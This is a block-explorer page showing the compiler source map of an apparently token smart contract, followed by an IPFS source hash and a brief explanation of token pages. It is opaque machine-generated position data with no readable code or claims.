6;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2147:22:0;::::1;2139:73;;;::::0;-1:-1:-1;;;2139:73:0;;11123:2:1;2139:73:0::1;::::0;::::1;11105:21:1::0;11162:2;11142:18;;;11135:30;11201:34;11181:18;;;11174:62;-1:-1:-1;;;11252:18:1;;;11245:36;11298:19;;2139:73:0::1;10921:402:1::0;2139:73:0::1;2223:19;2233:8;2223:9;:19::i;12555:167::-:0;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;12626:13:::1;::::0;::::1;::::0;::::1;;;12625:14;:26:::0;::::1;;;;12643:2;12649;12643:8;12625:26;12617:35;;;::::0;::::1;;12663:7;:12:::0;;;12701:13:::1;::::0;::::1;::::0;;;::::1;12555:167:::0;:::o;6171:308::-;-1:-1:-1;;;;;6266:20:0;;6258:52;;;;-1:-1:-1;;;6258:52:0;;11530:2:1;6258:52:0;;;11512:21:1;11569:2;11549:18;;;11542:30;-1:-1:-1;;;11588:18:1;;;11581:49;11647:18;;6258:52:0;11328:343:1;6258:52:0;-1:-1:-1;;;;;6329:21:0;;6321:53;;;;-1:-1:-1;;;6321:53:0;;11530:2:1;6321:53:0;;;11512:21:1;11569:2;11549:18;;;11542:30;-1:-1:-1;;;11588:18:1;;;11581:49;11647:18;;6321:53:0;11328:343:1;6321:53:0;-1:-1:-1;;;;;6385:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6438:33;;1361:25:1;;;6438:33:0;;1334:18:1;6438:33:0;;;;;;;6171:308;;;:::o;8414:1069::-;8515:4;8487;8493:2;4543:13;;;;;;;;;;;:47;;;-1:-1:-1;4568:7:0;:22;-1:-1:-1;;;;;4560:30:0;;;4568:22;;4560:30;4543:47;:74;;;-1:-1:-1;;;;;;4594:23:0;;;;;;:17;:23;;;;;;;;4543:74;4535:116;;;;-1:-1:-1;;;4535:116:0;;11878:2:1;4535:116:0;;;11860:21:1;11917:2;11897:18;;;11890:30;11956:31;11936:18;;;11929:59;12005:18;;4535:116:0;11676:353:1;4535:116:0;-1:-1:-1;;;;;8540:18:0;::::1;8532:68;;;::::0;-1:-1:-1;;;8532:68:0;;12236:2:1;8532:68:0::1;::::0;::::1;12218:21:1::0;12275:2;12255:18;;;12248:30;12314:34;12294:18;;;12287:62;-1:-1:-1;;;12365:18:1;;;12358:35;12410:19;;8532:68:0::1;12034:401:1::0;8532:68:0::1;-1:-1:-1::0;;;;;8619:16:0;::::1;8611:64;;;::::0;-1:-1:-1;;;8611:64:0;;12642:2:1;8611:64:0::1;::::0;::::1;12624:21:1::0;12681:2;12661:18;;;12654:30;12720:34;12700:18;;;12693:62;-1:-1:-1;;;12771:18:1;;;12764:33;12814:19;;8611:64:0::1;12440:399:1::0;8611:64:0::1;8699:11:::0;;;:21:::1;;-1:-1:-1::0;8714:6:0::1;::::0;::::1;;8699:21;8696:103;;;8744:32;8759:4;8765:2;8769:6;8744:14;:32::i;:::-;8737:39;;;;8696:103;8829:13;-1:-1:-1::0;;;;;8823:19:0::1;:2;-1:-1:-1::0;;;;;8823:19:0::1;;;:45;;;;-1:-1:-1::0;;;;;;8847:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8846:22;8823:45;:77;;;;-1:-1:-1::0;8878:7:0::1;:22:::0;-1:-1:-1;;;;;8872:28:0;;::::1;8878:22:::0;::::1;8872:28;;8823:77;8819:192;;;2957:3;2803:13;2622:1;2803:2;:13;:::i;:::-;2863:31;::::0;:13:::1;:31;:::i;:::-;2938:16;::::0;:1:::1;:16;:::i;:::-;:22;;;;:::i;:::-;-1:-1:-1::0;;;;;5835:18:0;;5818:7;5835:18;;;:9;:18;;;;;;8925:22:::1;::::0;:6;:22:::1;:::i;:::-;:36;;8917:82;;;::::0;-1:-1:-1;;;8917:82:0;;13046:2:1;8917:82:0::1;::::0;::::1;13028:21:1::0;13085:2;13065:18;;;13058:30;13124:34;13104:18;;;13097:62;-1:-1:-1;;;13175:18:1;;;13168:31;13216:19;;8917:82:0::1;12844:397:1::0;8917:82:0::1;9027:6;::::0;::::1;;9026:7;:30:::0;::::1;;;;9043:13;-1:-1:-1::0;;;;;9037:19:0::1;:2;-1:-1:-1::0;;;;;9037:19:0::1;;9026:30;:58;;;;-1:-1:-1::0;;;;;;9061:23:0;::::1;;::::0;;;:17:::1;:23;::::0;;;;;::::1;;9060:24;9026:58;:84;;;;-1:-1:-1::0;;;;;;9089:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;9088:22;9026:84;9023:135;;;9126:20;9139:6;9126:12;:20::i;:::-;9195:6;::::0;-1:-1:-1;;;;;9215:23:0;::::1;9179:12;9215:23:::0;;;:17:::1;:23;::::0;;;;;9195:6:::1;::::0;;::::1;9194:7;::::0;9215:23:::1;::::0;:48:::1;;-1:-1:-1::0;;;;;;9242:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;9215:48;9212:95;;;-1:-1:-1::0;9290:5:0::1;9212:95;9338:7;9335:132;;;9367:32;9382:4;9388:2;9392:6;9367:14;:32::i;:::-;9360:39;;;;;9335:132;9435:32;9450:4;9456:2;9460:6;9435:14;:32::i;4662:1::-;8414:1069:::0;;;;;;;:::o;10972:637::-;4411:6;:13;;-1:-1:-1;;4411:13:0;4420:4;4411:13;;;:6;11067:24:::1;11085:4;-1:-1:-1::0;;;;;5835:18:0;5818:7;5835:18;;;:9;:18;;;;;;;5752:103;11067:24:::1;11041:50:::0;-1:-1:-1;3669:3:0::1;2803:13;2622:1;2803:2;:13;:::i;:::-;2863:31;::::0;:13:::1;:31;:::i;:::-;3650:16;::::0;:1:::1;:16;:::i;:::-;:22;;;;:::i;:::-;11105:15;:32;:52;;;;11142:15;11150:6;11142:7;:15::i;:::-;11141:16;11105:52;11102:213;;;11173:7;;;11102:213;11233:17;::::0;3669:3:::1;2803:13;2622:1;2803:2;:13;:::i;:::-;2863:31;::::0;:13:::1;:31;:::i;:::-;3650:16;::::0;:1:::1;:16;:::i;:::-;:22;;;;:::i;:::-;11216:34;;;;:::i;:::-;11198:15;:52;11195:120;;;11298:17;::::0;3669:3:::1;2803:13;2622:1;2803:2;:13;:::i;:::-;2863:31;::::0;:13:::1;:31;:::i;:::-;3650:16;::::0;:1:::1;:16;:::i;:::-;:22;;;;:::i;:::-;11281:34;;;;:::i;:::-;11263:52;;11195:120;11364:21;11398:33;11415:15:::0;11398:16:::1;:33::i;:::-;11453:18;11474:41;11498:17:::0;11474:21:::1;:41;:::i;:::-;11453:62:::0;-1:-1:-1;11529:14:0;;11526:76:::1;;11571:19;11579:10;11571:7;:19::i;:::-;11027:582;;;4435:1;-1:-1:-1::0;4447:6:0;:14;;-1:-1:-1;;4447:14:0;;;10972:637::o;2258:173::-;2314:16;2333:6;;-1:-1:-1;;;;;2350:17:0;;;-1:-1:-1;;;;;;2350:17:0;;;;;;2383:40;;2333:6;;;;;;;2383:40;;2314:16;2383:40;2303:128;2258:173;:::o;9826:420::-;-1:-1:-1;;;;;9960:17:0;;9919:4;9960:17;;;:9;:17;;;;;;9996:23;;;;9988:63;;;;-1:-1:-1;;;9988:63:0;;13448:2:1;9988:63:0;;;13430:21:1;13487:2;13467:18;;;13460:30;13526:29;13506:18;;;13499:57;13573:18;;9988:63:0;13246:351:1;9988:63:0;-1:-1:-1;;;;;10086:17:0;;;;;;;:9;:17;;;;;;:27;;;;;;;10135:20;;;;;;;;:30;;10107:6;;10086:17;10135:30;;10107:6;;10135:30;:::i;:::-;;;;;;;;10198:9;-1:-1:-1;;;;;10181:35:0;10190:6;-1:-1:-1;;;;;10181:35:0;;10209:6;10181:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;10181:35:0;;;;;;;;-1:-1:-1;10234:4:0;;9826:420;-1:-1:-1;;;;9826:420:0:o;9491:326::-;9574:4;9591:12;9606:26;9615:4;9621:2;9625:6;9606:8;:26::i;:::-;9591:41;-1:-1:-1;9650:8:0;;9647:113;;9678:41;9693:4;9707;9714;9678:14;:41::i;:::-;-1:-1:-1;9734:14:0;9744:4;9734:14;;:::i;:::-;;;9647:113;9777:32;9792:4;9798:2;9802:6;9777:14;:32::i;:::-;9770:39;9491:326;-1:-1:-1;;;;;9491:326:0:o;10722:242::-;10777:4;10816:7;;10801:12;:22;:62;;;;-1:-1:-1;10846:12:0;10827:32;;;;:18;:32;;;;;;10862:1;-1:-1:-1;10801:62:0;:155;;;;-1:-1:-1;10892:17:0;;:22;:63;;10938:17;;3669:3;2803:13;2622:1;2803:2;:13;:::i;:::-;2863:31;;:13;:31;:::i;:::-;3650:16;;:1;:16;:::i;:::-;:22;;;;:::i;:::-;10921:34;;;;:::i;:::-;10892:63;;;10917:1;10892:63;10881:6;:75;;10794:162;10722:242;-1:-1:-1;;10722:242:0:o;11995:552::-;12080:12;12061:32;;;;:18;:32;;;;;:34;;;;;;:::i;:::-;;;;-1:-1:-1;;12190:16:0;;;12204:1;12190:16;;;;;;;;12166:21;;12190:16;;;;;;;;;;-1:-1:-1;12190:16:0;12166:40;;12235:4;12217;12222:1;12217:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12217:23:0;;;-1:-1:-1;;;;;12217:23:0;;;;;3510:42;-1:-1:-1;;;;;12261:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12251:4;12256:1;12251:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12251:32:0;;;:7;;;;;;;;;;;:32;12300:214;;-1:-1:-1;;;12300:214:0;;3510:42;;12300:66;;:214;;12381:11;;12407:1;;12451:4;;12478;;12498:15;;12300:214;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12296:244;;12532:7;11995:552;:::o;11617:153::-;11698:25;;11673:12;;-1:-1:-1;;;;;11698:25:0;11737:11;11747:1;11737:9;:11;:::i;:::-;11690:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11617:153:0:o;10254:460::-;10336:12;10368:7;;10364:1;:11;:37;;;;;10389:12;10379:7;;:22;10364:37;10361:346;;;3199:3;10440:13;-1:-1:-1;;;;;10434:19:0;:2;-1:-1:-1;;;;;10434:19:0;;:76;;10492:11;:18;10434:76;;;10470:19;;10434:76;10424:87;;:6;:87;:::i;:::-;:104;;;;:::i;:::-;10417:111;;10361:346;;;3199:3;10606:13;-1:-1:-1;;;;;10598:21:0;:4;-1:-1:-1;;;;;10598:21:0;;:67;;10642:7;;:12;:22;;10662:2;10598:67;;10642:22;10657:2;10598:67;;;10636:2;10598:67;10588:78;;;;:6;:78;:::i;:::-;:95;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2299:118::-;2385:5;2378:13;2371:21;2364:5;2361:32;2351:60;;2407:1;2404;2397:12;2422:750;2514:6;2522;2530;2583:2;2571:9;2562:7;2558:23;2554:32;2551:52;;;2599:1;2596;2589:12;2551:52;2639:9;2626:23;2668:18;2709:2;2701:6;2698:14;2695:34;;;2725:1;2722;2715:12;2695:34;2763:6;2752:9;2748:22;2738:32;;2808:7;2801:4;2797:2;2793:13;2789:27;2779:55;;2830:1;2827;2820:12;2779:55;2870:2;2857:16;2896:2;2888:6;2885:14;2882:34;;;2912:1;2909;2902:12;2882:34;2967:7;2960:4;2950:6;2947:1;2943:14;2939:2;2935:23;2931:34;2928:47;2925:67;;;2988:1;2985;2978:12;2925:67;3019:4;3011:13;;;;-1:-1:-1;3043:6:1;-1:-1:-1;;3084:20:1;;3071:34;3114:28;3071:34;3114:28;:::i;:::-;3161:5;3151:15;;;2422:750;;;;;:::o;3638:248::-;3706:6;3714;3767:2;3755:9;3746:7;3742:23;3738:32;3735:52;;;3783:1;3780;3773:12;3735:52;-1:-1:-1;;3806:23:1;;;3876:2;3861:18;;;3848:32;;-1:-1:-1;3638:248:1:o;4200:388::-;4268:6;4276;4329:2;4317:9;4308:7;4304:23;4300:32;4297:52;;;4345:1;4342;4335:12;4297:52;4384:9;4371:23;4403:31;4428:5;4403:31;:::i;:::-;4453:5;-1:-1:-1;4510:2:1;4495:18;;4482:32;4523:33;4482:32;4523:33;:::i;:::-;4575:7;4565:17;;;4200:388;;;;;:::o;4593:180::-;4652:6;4705:2;4693:9;4684:7;4680:23;4676:32;4673:52;;;4721:1;4718;4711:12;4673:52;-1:-1:-1;4744:23:1;;4593:180;-1:-1:-1;4593:180:1:o;4778:127::-;4839:10;4834:3;4830:20;4827:1;4820:31;4870:4;4867:1;4860:15;4894:4;4891:1;4884:15;4910:422;4999:1;5042:5;4999:1;5056:270;5077:7;5067:8;5064:21;5056:270;;;5136:4;5132:1;5128:6;5124:17;5118:4;5115:27;5112:53;;;5145:18;;:::i;:::-;5195:7;5185:8;5181:22;5178:55;;;5215:16;;;;5178:55;5294:22;;;;5254:15;;;;5056:270;;;5060:3;4910:422;;;;;:::o;5337:806::-;5386:5;5416:8;5406:80;;-1:-1:-1;5457:1:1;5471:5;;5406:80;5505:4;5495:76;;-1:-1:-1;5542:1:1;5556:5;;5495:76;5587:4;5605:1;5600:59;;;;5673:1;5668:130;;;;5580:218;;5600:59;5630:1;5621:10;;5644:5;;;5668:130;5705:3;5695:8;5692:17;5689:43;;;5712:18;;:::i;:::-;-1:-1:-1;;5768:1:1;5754:16;;5783:5;;5580:218;;5882:2;5872:8;5869:16;5863:3;5857:4;5854:13;5850:36;5844:2;5834:8;5831:16;5826:2;5820:4;5817:12;5813:35;5810:77;5807:159;;;-1:-1:-1;5919:19:1;;;5951:5;;5807:159;5998:34;6023:8;6017:4;5998:34;:::i;:::-;6068:6;6064:1;6060:6;6056:19;6047:7;6044:32;6041:58;;;6079:18;;:::i;:::-;6117:20;;5337:806;-1:-1:-1;;;5337:806:1:o;6148:140::-;6206:5;6235:47;6276:4;6266:8;6262:19;6256:4;6235:47;:::i;6293:168::-;6366:9;;;6397;;6414:15;;;6408:22;;6394:37;6384:71;;6435:18;;:::i;6466:356::-;6668:2;6650:21;;;6687:18;;;6680:30;6746:34;6741:2;6726:18;;6719:62;6813:2;6798:18;;6466:356::o;7939:128::-;8006:9;;;8027:11;;;8024:37;;;8041:18;;:::i;8072:127::-;8133:10;8128:3;8124:20;8121:1;8114:31;8164:4;8161:1;8154:15;8188:4;8185:1;8178:15;8204:127;8265:10;8260:3;8256:20;8253:1;8246:31;8296:4;8293:1;8286:15;8320:4;8317:1;8310:15;8336:217;8376:1;8402;8392:132;;8446:10;8441:3;8437:20;8434:1;8427:31;8481:4;8478:1;8471:15;8509:4;8506:1;8499:15;8392:132;-1:-1:-1;8538:9:1;;8336:217::o;9269:125::-;9334:9;;;9355:10;;;9352:36;;;9368:18;;:::i;9801:184::-;9871:6;9924:2;9912:9;9903:7;9899:23;9895:32;9892:52;;;9940:1;9937;9930:12;9892:52;-1:-1:-1;9963:16:1;;9801:184;-1:-1:-1;9801:184:1:o;10671:245::-;10738:6;10791:2;10779:9;10770:7;10766:23;10762:32;10759:52;;;10807:1;10804;10797:12;10759:52;10839:9;10833:16;10858:28;10880:5;10858:28;:::i;13602:135::-;13641:3;13662:17;;;13659:43;;13682:18;;:::i;:::-;-1:-1:-1;13729:1:1;13718:13;;13602:135::o;13874:251::-;13944:6;13997:2;13985:9;13976:7;13972:23;13968:32;13965:52;;;14013:1;14010;14003:12;13965:52;14045:9;14039:16;14064:31;14089:5;14064:31;:::i;14130:980::-;14392:4;14440:3;14429:9;14425:19;14471:6;14460:9;14453:25;14497:2;14535:6;14530:2;14519:9;14515:18;14508:34;14578:3;14573:2;14562:9;14558:18;14551:31;14602:6;14637;14631:13;14668:6;14660;14653:22;14706:3;14695:9;14691:19;14684:26;;14745:2;14737:6;14733:15;14719:29;;14766:1;14776:195;14790:6;14787:1;14784:13;14776:195;;;14855:13;;-1:-1:-1;;;;;14851:39:1;14839:52;;14946:15;;;;14911:12;;;;14887:1;14805:9;14776:195;;;-1:-1:-1;;;;;;;15027:32:1;;;;15022:2;15007:18;;15000:60;-1:-1:-1;;;15091:3:1;15076:19;15069:35;14988:3;14130:980;-1:-1:-1;;;14130:980:1:o

Swarm Source

ipfs://9192d3c64bb445c25a1005ff6ac143f85f901834fa5fd063468c820151d4dbe1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.